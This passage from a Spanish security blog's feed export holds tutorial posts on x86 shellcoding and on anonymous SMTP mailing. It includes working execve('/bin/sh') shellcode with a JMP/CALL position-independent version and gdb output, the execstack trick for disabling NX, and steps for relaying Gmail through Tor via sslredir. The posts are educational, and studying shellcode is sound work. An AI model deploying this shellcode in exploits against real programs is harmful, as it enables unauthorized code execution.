func();&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Si probamos a compilar y ejecutar la shellcode con NX activo obtendremos un segmentation fault:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ gcc -o sc7 sc7.c&lt;br /&gt;vlan7@vlan7-ubuntu:~$ ./sc7&lt;br /&gt;Fallo de segmentación&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Pero si desactivamos NX:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ execstack -s sc7&lt;br /&gt;vlan7@vlan7-ubuntu:~$ ./sc7&lt;br /&gt;$&lt;/pre&gt;&lt;div&gt;Ahi tenemos la shell :)&lt;/div&gt;&lt;div&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Segmentation fault en un codigo ensamblador &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;amp;t=6048"&gt;http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;amp;t=6048&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.tenouk.com/Module000linuxgas2.html"&gt;http://www.tenouk.com/Module000linuxgas2.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://wiki.ubuntu.com/Security/CPUFeatures"&gt;https://wiki.ubuntu.com/Security/CPUFeatures&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://wiki.ubuntu.com/CompilerFlags"&gt;https://wiki.ubuntu.com/CompilerFlags&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-797392294550610018?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=797392294550610018' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/797392294550610018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/797392294550610018'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/shellcoding-vueltas-con-el-flag-nx.html' title='shellcoding. A vueltas con el flag NX'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8288566269270635693</id><published>2010-10-27T05:56:00.019+02:00</published><updated>2011-11-30T09:48:33.356+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Creando shellcodes "position independent"</title><content type='html'>Hay un concepto en ASM/shellcoding llamado &lt;b&gt;"position independent"&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Por definición, un código es position-independent cuando todas las direcciones de memoria que referencia son relativas (por lo general, con respecto al registro EIP).&lt;br /&gt;&lt;br /&gt;Para ilustrarlo, a continuacion muestro un ejemplo de un shellcode &lt;b&gt;_mal hecho_&lt;/b&gt; por este motivo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: nasm8086"&gt;BITS 32&lt;br /&gt;;int execve(const char *filename, char *const argv[], char *const envp[]);&lt;br /&gt;&lt;br /&gt;xor eax, eax&lt;br /&gt;cdq ;edx=envp&lt;br /&gt;push edx ;terminamos cadena de filename y el array argv&lt;br /&gt;push sh ; ***!!!MAL!!!*** Se hace un push de la direccion absoluta de la cadena&lt;br /&gt;mov ebx, [esp] ;ebx=direccion de la cadena&lt;br /&gt;mov ecx, esp ;ecx=direccion del puntero a la cadena&lt;br /&gt;mov al, 11 ;execve es la syscall 11&lt;br /&gt;int 0x80&lt;br /&gt;sh db "/bin/sh"&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Mediante gdb, podemos ver como se hace un push a una direccion de memoria absoluta, lo que demuestra por definición que el código no es position-independent.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: nasm8086"&gt;(gdb) disassemble _start&lt;br /&gt;Dump of assembler code for function _start:&lt;br /&gt;0x08048060 &amp;lt;_start+0&amp;gt;: xor %eax,%eax&lt;br /&gt;0x08048062 &amp;lt;_start+2&amp;gt;: cltd&lt;br /&gt;0x08048063 &amp;lt;_start+3&amp;gt;: push %edx&lt;br /&gt;0x08048064 &amp;lt;_start+4&amp;gt;: push $0x8048072&lt;br /&gt;0x08048069 &amp;lt;_start+9&amp;gt;: mov (%esp),%ebx&lt;br /&gt;0x0804806c &amp;lt;_start+12&amp;gt;: mov %esp,%ecx&lt;br /&gt;0x0804806e &amp;lt;_start+14&amp;gt;: mov $0xb,%al&lt;br /&gt;0x08048070 &amp;lt;_start+16&amp;gt;: int $0x80&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) x/7b 0x08048072&lt;br /&gt;0x8048072 &amp;lt;sh&amp;gt;: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68&amp;lt;/sh&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;El shellcode devuelve una shell porque dentro de la seccion de tabla de simbolos del ELF se guarda la direccion tal y como esta referenciada por el push. Pero en una explotacion real, ya no sería así, dado que esa direccion ya no va a apuntar a /bin/sh, porque como atacante estamos bajo ambito del programa que queremos explotar, y no podemos contar con que el programa vulnerable haya colocado la cadena en la misma dirección que asumió NASM al ensamblar.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Para verlo en la práctica, basta declarar otro string que sea la cadena vlan7 en el codigo para que se vea como con 0x8048072 ya no estariamos apuntando a '/bin/sh' , sino a 'vlan7' , con lo cual lo mas probable es que se produjera una violacion de segmento.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@bt:~# readelf -s sc |grep 08048072&lt;br /&gt;root@bt:~# readelf -s sc2 |grep 08048072&lt;br /&gt;4: 08048072 0 NOTYPE LOCAL DEFAULT 1 vlan7&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Es decir, este shellcode no es "position independent", y lo solucionamos con una shellcode JMP/CALL que sea "position independent", es decir, que sea capaz de obtener la dirección de la cadena "/bin/sh" independientemente de donde estemos cargados en memoria. Ahi va una.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: nasm8086"&gt;BITS 32&lt;br /&gt;; int execve(const char *filename, char *const argv[], char *const envp[]);&lt;br /&gt;xor eax, eax&lt;br /&gt;cdq ;envp es 0&lt;br /&gt;mov al, 11 ;execve es la syscall 11&lt;br /&gt;push edx ;terminamos cadena y array argv&lt;br /&gt;jmp short down ;jmp short = no bytes nulos&lt;br /&gt;back:&lt;br /&gt;mov ebx, [esp] ;direccion de la cadena&lt;br /&gt;mov ecx, esp ;direccion del puntero a la cadena&lt;br /&gt;int 0x80&lt;br /&gt;down:&lt;br /&gt;call back ;ponemos la cadena /bin/sh en la pila&lt;br /&gt;db "/bin/sh"&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Para terminar, algo basico pero que conviene tener presente:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;mov ebx, [esp] pone en ebx la direccion de esp como todos sabemos. Pero ¿cual es la direccion de esp en ese momento?&lt;/div&gt;&lt;br /&gt;&lt;div&gt;¿Que hay antes de ese mov ebx, [esp] ?&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Un call.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;call tiene una "feature", y es que guarda en la pila la direccion de la siguiente instruccion, de tal forma que cuando la subrutina a la que llama finalice con un RET se pueda retornar correctamente a la siguiente instruccion (ret hace un pop de dicha direccion de memoria). Hemos colocado la cadena justo despues de la llamada a call, es por eso que su direccion se coloca en la pila.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;amp;t=6196"&gt;Las preguntas más básicas del Shellcoding&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://securityetalii.es/2010/04/21/exploitation-shellcodes-en-linux-ii/"&gt;Exploitation: Shellcodes en Linux II&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Segmentation fault en un codigo ensamblador &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;amp;t=6048"&gt;http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;amp;t=6048&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;x86 Assembly Language Reference Manual &lt;a href="http://docs.sun.com/app/docs/doc/802-1948/6i5uqa9on?a=view"&gt;http://docs.sun.com/app/docs/doc/802-1948/6i5uqa9on?a=view&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8288566269270635693?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8288566269270635693' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8288566269270635693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8288566269270635693'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/creando-shellcodes-position-independent.html' title='Creando shellcodes &quot;position independent&quot;'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7995671644857126393</id><published>2010-10-27T01:04:00.031+02:00</published><updated>2011-11-29T11:14:24.850+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Enviar un mail anonimo desde la shell usando nuestra cuenta gmail como relay</title><content type='html'>&lt;div&gt;Para usar el comando AUTH, el cliente (nosotros) debe enviar al servidor la siguiente cadena codificada en Base64:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;\000user@host.com\000password&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;\000&lt;/b&gt; actua como separador.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Podemos conseguirlo con la siguiente linea de perl:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ perl -MMIME::Base64 -e 'print encode_base64("\000XXX.YYY\@gmail.com\000password")'&lt;br /&gt;AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Ahi tenemos nuestra cadena codificada en Base64. La necesitaremos mas adelante.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Diferencias entre TLS y SSL:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;La principal diferencia es que en una comunicacion con un servidor SSL, la conexion SSL se establece antes incluso de que empiece la conversacion SMTP. No ocurre esto con TLS, en el cual openssl se conecta primero en texto plano, manda el comando STARTTLS, negocia el cifrado SSL y entonces es cuando realmente comienza la sesion cifrada.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;En nuestro caso google usa SSL en &lt;b&gt;smtp.gmail.com:465&lt;/b&gt;, por lo que nos comunicamos con el asi:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ /usr/bin/openssl s_client -crlf -connect smtp.gmail.com:465&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=1 /C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:0&lt;br /&gt;---&lt;br /&gt;Certificate chain&lt;br /&gt;0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;i:/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;1 s:/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority&lt;br /&gt;---&lt;br /&gt;Server certificate&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIDWzCCAsSgAwIBAgIKFMs0nQADAAASjjANBgkqhkiG9w0BAQUFADBGMQswCQYD&lt;br /&gt;VQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzEiMCAGA1UEAxMZR29vZ2xlIElu&lt;br /&gt;dGVybmV0IEF1dGhvcml0eTAeFw0xMDA0MjIyMDAyNDVaFw0xMTA0MjIyMDEyNDVa&lt;br /&gt;MGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1N&lt;br /&gt;b3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMRcwFQYDVQQDEw5zbXRw&lt;br /&gt;LmdtYWlsLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAz4B46NG2l4Bk&lt;br /&gt;DdccddAuuOssQ4ZxCHoyj+ErdlEqZurVCoGQzAkhZTkzHrmIgYmM6roTbkF/zEaa&lt;br /&gt;2ROe9s4VoL4OgUnoyB0u1KbwrG5PHBbsMdk0r6jMmhh+MORFVYgQrFxJnu8GnHiG&lt;br /&gt;W4QhmKVytu0FclYE+F1gOOx5qIgTVCMCAwEAAaOCASwwggEoMB0GA1UdDgQWBBS1+KKmwdxtkpKkJgvwhZztqe0uszAfBgNVHSMEGDAWgBS/wDDr9UMRPme6npH7/Gra&lt;br /&gt;42sSJDBbBgNVHR8EVDBSMFCgTqBMhkpodHRwOi8vd3d3LmdzdGF0aWMuY29tL0dv&lt;br /&gt;b2dsZUludGVybmV0QXV0aG9yaXR5L0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNy&lt;br /&gt;bDBmBggrBgEFBQcBAQRaMFgwVgYIKwYBBQUHMAKGSmh0dHA6Ly93d3cuZ3N0YXRp&lt;br /&gt;Yy5jb20vR29vZ2xlSW50ZXJuZXRBdXRob3JpdHkvR29vZ2xlSW50ZXJuZXRBdXRo&lt;br /&gt;b3JpdHkuY3J0MCEGCSsGAQQBgjcUAgQUHhIAVwBlAGIAUwBlAHIAdgBlAHIwDQYJ&lt;br /&gt;KoZIhvcNAQEFBQADgYEAUc39Y22ucA2N4mmDdPMC8DKbrRGlGMpC294mfh3yCkJa&lt;br /&gt;YRWjodFQSgCtFyKhTZ9roFpSEL0D4QxAtLSwtC0bSaSVusfAW3/CFgG/Cya724ic&lt;br /&gt;9UoEosoG8CK+eGoGQuEsZ0xR86J5jOs2H+4QPHFCn594V7ZySzdeQi93YV31RBE=&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;issuer=/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;---&lt;br /&gt;No client certificate CA names sent&lt;br /&gt;---&lt;br /&gt;SSL handshake has read 1711 bytes and written 303 bytes&lt;br /&gt;---&lt;br /&gt;New, TLSv1/SSLv3, Cipher is RC4-MD5&lt;br /&gt;Server public key is 1024 bit&lt;br /&gt;Secure Renegotiation IS supported&lt;br /&gt;Compression: NONE&lt;br /&gt;Expansion: NONE&lt;br /&gt;SSL-Session:&lt;br /&gt;Protocol  : TLSv1&lt;br /&gt;Cipher    : RC4-MD5&lt;br /&gt;Session-ID: 6B1A39E3D377B24D4A123D2E5AE320A9E21DC976131C5FEB8E7318E74CA5E573&lt;br /&gt;Session-ID-ctx:&lt;br /&gt;Master-Key: FF0082173AEA36C9CB330B63DC9503F7D0031FD60203056C926A98B08B1DBAE517B8417A3958E8A5E0E9C3376D36D49F&lt;br /&gt;Key-Arg   : None&lt;br /&gt;Start Time: 1288131594&lt;br /&gt;Timeout   : 300 (sec)&lt;br /&gt;Verify return code: 20 (unable to get local issuer certificate)&lt;br /&gt;---&lt;br /&gt;220 mx.google.com ESMTP o43sm5440941weq.23&lt;br /&gt;ehlo vlan7&lt;br /&gt;250-mx.google.com at your service, [X.Y.Z.A]&lt;br /&gt;250-SIZE 35651584&lt;br /&gt;250-8BITMIME&lt;br /&gt;250-AUTH LOGIN PLAIN XOAUTH&lt;br /&gt;250 ENHANCEDSTATUSCODES&lt;/pre&gt;&lt;div&gt;Aqui vemos como acepta el comando AUTH PLAIN. Usemos la cadena codificada en Base64 que generamos al principio del texto:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;AUTH PLAIN AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk&lt;br /&gt;235 2.7.0 Accepted&lt;/pre&gt;&lt;div&gt;Y a partir de aqui mantenemos una conversacion SMTP estandar.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;mail from: &amp;lt;xxx.yyy@gmail.com&amp;gt;&lt;br /&gt;250 2.1.0 OK o43sm5440941weq.23&lt;br /&gt;rcpt to: &amp;lt;zzz@vlan7.org&amp;gt;&lt;br /&gt;250 2.1.5 OK o43sm5440941weq.23&lt;br /&gt;data&lt;br /&gt;354  Go ahead o43sm5440941weq.23&lt;br /&gt;From: vlan7 &amp;lt;xxx.yyy@gmail.com&amp;gt;&lt;br /&gt;To: vlan7 &amp;lt;zzz@vlan7.org&amp;gt;&lt;br /&gt;Subject: this is a test!&lt;br /&gt;hola vlan7, como estas?&lt;br /&gt;.&lt;br /&gt;250 2.0.0 OK 1288131795 o43sm5440941weq.23&lt;br /&gt;quit&lt;br /&gt;221 2.0.0 closing connection o43sm5440941weq.23&lt;br /&gt;read:errno=0&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div&gt;Las lineas que no comienzan con ningun digito son los comandos que enviamos al servidor, las respuestas del servidor, como es habitual comienzan con un numero que indica su codigo de respuesta.&lt;/div&gt;&lt;div&gt;Comprobamos desde la shell el correo no leido de gmail:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ curl -u ZZZ@vlan7.org --silent "https://mail.google.com/mail/feed/atom" |perl -ne 'print "\t" if /&amp;lt;name&amp;gt;/; print "$2\n" if /&amp;lt;(title|name)&amp;gt;(.*)&amp;lt;\/\1&amp;gt;/;'&lt;br /&gt;Enter host password for user 'ZZZ@vlan7.org':&lt;br /&gt;Gmail - Inbox for ZZZ@vlan7.org&lt;br /&gt;this is a test!&lt;br /&gt;vlan7&lt;br /&gt;[cut]&lt;/pre&gt;&lt;div&gt;Como podemos observar ahi lo tenemos :)&lt;/div&gt;&lt;div&gt;~&lt;/div&gt;&lt;div&gt;Ricemos el rizo, enviemos ahora un mail de forma cifrada tambien, pero saliendo con una IP de &lt;a href="http://www.torproject.org/"&gt;TOR&lt;/a&gt;. Necesitamos un relay que soporte SOCKS. &lt;a href="http://www.dest-unreach.org/socat/"&gt;socat&lt;/a&gt; es bello, &lt;a href="http://www.stunnel.org/"&gt;stunnel&lt;/a&gt; tambien pero existe una herramienta minimalista escrita en python que se lleva mejor con TOR: &lt;a href="http://urandom.ca/sslredir/"&gt;sslredir&lt;/a&gt;&lt;/div&gt;&lt;div&gt;¿Para que sirve &lt;a href="http://urandom.ca/sslredir/"&gt;sslredir&lt;/a&gt;? Para redireccionar conexiones no SSL hacia conexiones SSL, todo ello a traves de un proxy SOCKS, en nuestro caso: tor.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Basicamente lo que haremos sera iniciar tor, poner a &lt;a href="http://urandom.ca/sslredir/"&gt;sslredir&lt;/a&gt; a la escucha en un puerto determinado, nos conectaremos por telnet al servidor proxy SOCKS tor que tenemos en localhost, y &lt;a href="http://urandom.ca/sslredir/"&gt;sslredir&lt;/a&gt; se encargara de reenviarlo a &lt;b&gt;smtp.gmail.com:465&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Empecemos mostrando info acerca del certificado SSL de smtp.gmail.com&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ sslredir -i smtp.gmail.com:465/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&lt;br /&gt;import socket, time, sha, sys, os, struct, select, syslog,  \&lt;br /&gt;[Sat Oct 30 01:59:25 2010] Using '/usr/share/ncat/ca-bundle.crt' for certificate verification&lt;br /&gt;[Sat Oct 30 01:59:26 2010] Connection to smtp.gmail.com:465 established&lt;br /&gt;Certificate:&lt;br /&gt;Data:&lt;br /&gt;Version: 3 (0x2)&lt;br /&gt;Serial Number:&lt;br /&gt;14:cb:34:9d:00:03:00:00:12:8e&lt;br /&gt;Signature Algorithm: sha1WithRSAEncryption&lt;br /&gt;Issuer: C=US, O=Google Inc, CN=Google Internet Authority&lt;br /&gt;Validity&lt;br /&gt;Not Before: Apr 22 20:02:45 2010 GMT&lt;br /&gt;Not After : Apr 22 20:12:45 2011 GMT&lt;br /&gt;Subject: C=US, ST=California, L=Mountain View, O=Google Inc, CN=smtp.gmail.com&lt;br /&gt;Subject Public Key Info:&lt;br /&gt;Public Key Algorithm: rsaEncryption&lt;br /&gt;RSA Public Key: (1024 bit)&lt;br /&gt;Modulus (1024 bit):&lt;br /&gt;00:cf:80:78:e8:d1:b6:97:80:64:0d:d7:1c:75:d0:&lt;br /&gt;2e:b8:eb:2c:43:86:71:08:7a:32:8f:e1:2b:76:51:&lt;br /&gt;2a:66:ea:d5:0a:81:90:cc:09:21:65:39:33:1e:b9:&lt;br /&gt;88:81:89:8c:ea:ba:13:6e:41:7f:cc:46:9a:d9:13:&lt;br /&gt;9e:f6:ce:15:a0:be:0e:81:49:e8:c8:1d:2e:d4:a6:&lt;br /&gt;f0:ac:6e:4f:1c:16:ec:31:d9:34:af:a8:cc:9a:18:&lt;br /&gt;7e:30:e4:45:55:88:10:ac:5c:49:9e:ef:06:9c:78:&lt;br /&gt;86:5b:84:21:98:a5:72:b6:ed:05:72:56:04:f8:5d:&lt;br /&gt;60:38:ec:79:a8:88:13:54:23&lt;br /&gt;Exponent: 65537 (0x10001)&lt;br /&gt;X509v3 extensions:&lt;br /&gt;X509v3 Subject Key Identifier:&lt;br /&gt;B5:F8:A2:A6:C1:DC:6D:92:92:A4:26:0B:F0:85:9C:ED:A9:ED:2E:B3&lt;br /&gt;X509v3 Authority Key Identifier:&lt;br /&gt;keyid:BF:C0:30:EB:F5:43:11:3E:67:BA:9E:91:FB:FC:6A:DA:E3:6B:12:24&lt;br /&gt;X509v3 CRL Distribution Points:&lt;br /&gt;URI:http://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crl&lt;br /&gt;Authority Information Access:&lt;br /&gt;CA Issuers - URI:http://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crt1.3.6.1.4.1.311.20.2:&lt;br /&gt;...W.e.b.S.e.r.v.e.r&lt;br /&gt;Signature Algorithm: sha1WithRSAEncryption&lt;br /&gt;51:cd:fd:63:6d:ae:70:0d:8d:e2:69:83:74:f3:02:f0:32:9b:&lt;br /&gt;ad:11:a5:18:ca:42:db:de:26:7e:1d:f2:0a:42:5a:61:15:a3:&lt;br /&gt;a1:d1:50:4a:00:ad:17:22:a1:4d:9f:6b:a0:5a:52:10:bd:03:&lt;br /&gt;e1:0c:40:b4:b4:b0:b4:2d:1b:49:a4:95:ba:c7:c0:5b:7f:c2:&lt;br /&gt;16:01:bf:0b:26:bb:db:88:9c:f5:4a:04:a2:ca:06:f0:22:be:&lt;br /&gt;78:6a:06:42:e1:2c:67:4c:51:f3:a2:79:8c:eb:36:1f:ee:10:&lt;br /&gt;3c:71:42:9f:9f:78:57:b6:72:4b:37:5e:42:2f:77:61:5d:f5:&lt;br /&gt;44:11&lt;br /&gt;CA Signature Verified: True&lt;br /&gt;Certificate fingerprint: 1a6f488fbe5bfd92d81230f922ce8449b343bd2c&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div&gt;Volvamos a verificarlo pero esta vez a traves de tor y mostrando solo las dos ultimas lineas, que es lo que nos interesa.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ sslredir -i -s 127.0.0.1:9050 smtp.gmail.com:465 |tail -n 2&lt;br /&gt;/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&lt;br /&gt;import socket, time, sha, sys, os, struct, select, syslog,  \&lt;br /&gt;CA Signature Verified: True Certificate fingerprint: 1a6f488fbe5bfd92d81230f922ce8449b343bd2c&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Parece todo correcto. Para terminar vamos a hacerlo demonio enviandolo al background. Escuchara en el puerto 7777 y reenviara el trafico que reciba por ese puerto a smtp.gmail.com:465 mediante SSL a traves del proxy SOCKS que tenemos gracias a tor.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ sslredir -dnl 7777 -s 127.0.0.1:9050 -f 1a6f488fbe5bfd92d81230f922ce8449b343bd2c smtp.gmail.com:465&lt;br /&gt;/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&lt;br /&gt;import socket, time, sha, sys, os, struct, select, syslog,  \&lt;/pre&gt;&lt;div&gt;Comprobamos que lo tenemos escuchando en el puerto 7777.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ netstat -tunlp |grep :7777&lt;br /&gt;(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)&lt;br /&gt;tcp        0      0 127.0.0.1:7777          0.0.0.0:*&lt;br /&gt;LISTEN      19618/python&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;OK, enviemos ahora un correo de la misma forma que vimos en la primera parte.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ telnet 127.0.0.1 7777&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to 127.0.0.1.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;220 mx.google.com ESMTP x65sm1999579weq.1&lt;br /&gt;ehlo vlan7&lt;br /&gt;250-mx.google.com at your service, [83.170.92.9]&lt;br /&gt;250-SIZE 35651584&lt;br /&gt;250-8BITMIME&lt;br /&gt;250-AUTH LOGIN PLAIN XOAUTH&lt;br /&gt;250-ENHANCEDSTATUSCODES&lt;br /&gt;250 PIPELINING&lt;br /&gt;AUTH PLAIN AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk&lt;br /&gt;235 2.7.0 Accepted&lt;br /&gt;mail from: &amp;lt;XXX.YYY@gmail.com&amp;gt;&lt;br /&gt;250 2.1.0 OK x65sm1999579weq.1&lt;br /&gt;rcpt to: &amp;lt;ZZZ@vlan7.org&amp;gt;&lt;br /&gt;250 2.1.5 OK x65sm1999579weq.1&lt;br /&gt;data&lt;br /&gt;354  Go ahead x65sm1999579weq.1&lt;br /&gt;From: vlan7 &amp;lt;XXX.YYY@gmail.com&amp;gt;&lt;br /&gt;To: vlan7 &amp;lt;ZZZ@vlan7.org&amp;gt;&lt;br /&gt;Subject: This is a test&lt;br /&gt;hola vlan7 que tal&lt;br /&gt;.&lt;br /&gt;250 2.0.0 OK 1288395385 x65sm1999579weq.1&lt;br /&gt;quit&lt;br /&gt;221 2.0.0 closing connection x65sm1999579weq.1&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div&gt;Destaquemos la linea siguiente, donde google se nos presenta de forma muy educada y nos llama por nuestra IP.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;250-mx.google.com at your service, [&lt;b&gt;83.170.92.9&lt;/b&gt;]&lt;/div&gt;&lt;div&gt;Si examinamos las cabeceras completas de nuestro correo en gmail, podremos ver que el correo se ha recibido desde dicha IP: &lt;b&gt;83.170.92.9&lt;/b&gt; , que deberia ser nuestro nodo tor de salida.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;[cut]&lt;br /&gt;Received: from vlan7 (server51262.uk2net.com [83.170.92.9])&lt;br /&gt;by mx.google.com with ESMTPS id x65sm1999579weq.1.2010.10.29.16.35.27&lt;br /&gt;(version=SSLv3 cipher=OTHER);&lt;br /&gt;Fri, 29 Oct 2010 16:36:24 -0700 (PDT)&lt;br /&gt;Message-ID: &amp;lt;4ccb5a78.57edd80a.1dfc.ffff827a@mx.google.com&amp;gt;&lt;br /&gt;Date: Fri, 29 Oct 2010 16:36:24 -0700 (PDT)&lt;br /&gt;From: vlan7 &amp;lt;xxx.yyy@gmail.com&amp;gt;&amp;lt;&amp;gt;xxx.yyy@gmail.com&amp;lt;&lt;br /&gt;To: vlan7 &amp;lt;zzz@vlan7.org&amp;gt;&amp;lt;zzz@vlan7.org&amp;gt;&lt;br /&gt;[cut]&lt;/pre&gt;&lt;div&gt;Hagamos una 